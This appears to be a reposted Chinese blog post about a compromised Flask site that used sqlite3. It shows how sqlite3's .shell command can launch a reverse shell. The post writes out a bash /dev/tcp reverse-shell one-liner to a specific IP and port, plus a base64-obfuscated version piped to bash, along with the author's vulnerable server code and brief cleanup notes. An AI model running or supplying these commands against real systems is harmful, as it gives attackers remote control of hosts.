当前位置: 首页 > news >正文

sqlite3 数据库反弹shell

 

最近支持一个项目,自己用Python写了一个网站,仅仅开放了一个80端口,数据库用的 sqlite3,没有做数据安全校验,运行不到1天,发现被黑客拿下了,我的网站主动连接了黑客的IP地址,疑似反弹shell的操作手法,自己试了一下,sqlite3 数据库还真的能反弹shell。

ailx10

2001 次咨询

4.9

网络安全优秀回答者

互联网行业 安全攻防员

去(知乎ailx10)咨询

(1)调研发现sqlite3竟然支持 shell 命令,可以直接命令执行

(2)sqlite3命令执行,反弹shell

bash -i >& /dev/tcp/144.34.162.13/6666 0>&1

base64编码:

.shell echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMTYyLjEzLzY2NjYgMD4mMQ==" | base64 --decode | bash

(3)反弹shell成功

我写的那串冤大头代码如下,当时没加 log,想不明白怎么被黑客攻陷的:

from flask import Flask, request, jsonify
import sqlite3
import json
import osapp = Flask(__name__)# 初始化数据库
def init_db():if not os.path.exists('data.db'):with sqlite3.connect('data.db') as conn:cursor = conn.cursor()cursor.execute('''CREATE TABLE IF NOT EXISTS requests (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT NOT NULL,os TEXT NOT NULL,version TEXT NOT NULL,architecture TEXT NOT NULL,hostname TEXT NOT NULL,processor TEXT NOT NULL,cpu_cores INTEGER NOT NULL,logical_cpus INTEGER NOT NULL,memory TEXT NOT NULL,disk TEXT NOT NULL,ip_address TEXT NOT NULL,mac_address TEXT NOT NULL)''')conn.commit()# 校验请求数据
def validate_data(data):required_fields = ['当前用户名', '操作系统', '系统版本', '系统架构','主机名', '处理器', 'CPU核心数', '逻辑CPU数','内存信息', '磁盘信息', 'IP地址', 'MAC地址']for field in required_fields:if field not in data:return Falsereturn True@app.route('/api', methods=['POST'])
def receive_data():data = request.get_json()# 校验数据if not validate_data(data):return jsonify({"error": "请求数据异常"}), 400# 插入数据到数据库with sqlite3.connect('data.db') as conn:cursor = conn.cursor()cursor.execute('''INSERT INTO requests (username, os, version, architecture, hostname, processor, cpu_cores, logical_cpus, memory, disk, ip_address, mac_address) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''', (data['当前用户名'],data['操作系统'],data['系统版本'],str(data['系统架构']),data['主机名'],data['处理器'],data['CPU核心数'],data['逻辑CPU数'],str(data['内存信息']),str(data['磁盘信息']),json.dumps(data['IP地址']),json.dumps(data['MAC地址'])))conn.commit()return jsonify({"message": "数据成功接收"}), 200if __name__ == '__main__':init_db()  # 初始化数据库app.run(host='0.0.0.0', port=80)

后续我对代码进行了优化,记录了大量的漏洞扫描IP(傀儡机),主要是Wordpress的扫描探测

网站服务器上检测没有 rootkit[1] ,所有命令输出是准确的,排查了定时任务等,黑客没有后续的恶意行为

参考

  1. ^chkrootkit chkrootkit -- locally checks for signs of a rootkit

发布于 2024-09-24 19:09・江苏 

 

 

http://www.lqws.cn/news/477865.html

相关文章:

  • 开发语言本身只是提供了一种解决问题的工具
  • 【AI智能体】Spring AI MCP 服务常用开发模式实战详解
  • TDengine 3.3.5.0 新功能——服务端查询内存管控
  • PaddleOCR + Flask 构建 Web OCR 服务实战
  • Flink Sink函数深度解析:从原理到实践的全流程探索
  • 63-Oracle LogMiner(23ai)-实操
  • 合成生物学与人工智能的融合:从生命编程到智能设计的IT新前沿
  • 华为云Flexus+DeepSeek征文|在Dify-LLM平台中开发童话故事精灵工作流AI Agent
  • Kafka动态配置深度解析
  • 测试用例原则之 FIRST/CORRECT/5C原则
  • 论文笔记:Large language model augmented narrative driven recommendations
  • 学习设计模式《十四》——组合模式
  • [计算机网络] 局域网内的网络传输
  • #### es相关内容的索引 ####
  • 【期末笔记】高频电子线路
  • 双向长短期记忆网络(BiLSTM)
  • 如何用AI开发完整的小程序<8>—让AI制作具体功能
  • KES数据库部署工具使用
  • 《HTTP权威指南》 第7章 缓存
  • uni-app项目实战笔记21--uniapp缓存的写入和读取
  • 药房智慧化升级:最优成本条件下开启地市级医院智慧医疗新变革
  • Ragflow 源码:ragflow_server.py
  • rust单体web项目模板搭建
  • vim学习流程,以及快捷键总结
  • 微服务网关/nacos/feign总结
  • Maven:依赖管理就像乐高拼装的艺术
  • Vmware WorkStation 17.5 安装 Ubuntu 24.04-LTS Server 版本
  • 软件工程核心知识全景图:从需求到部署的系统化构建指南
  • 2025年EAAI SCI1区TOP,基于低差异序列的仿果蝇无人机地下环境路径规划算法,深度解析+性能实测
  • 无人机表演越来越火,C端市场大爆发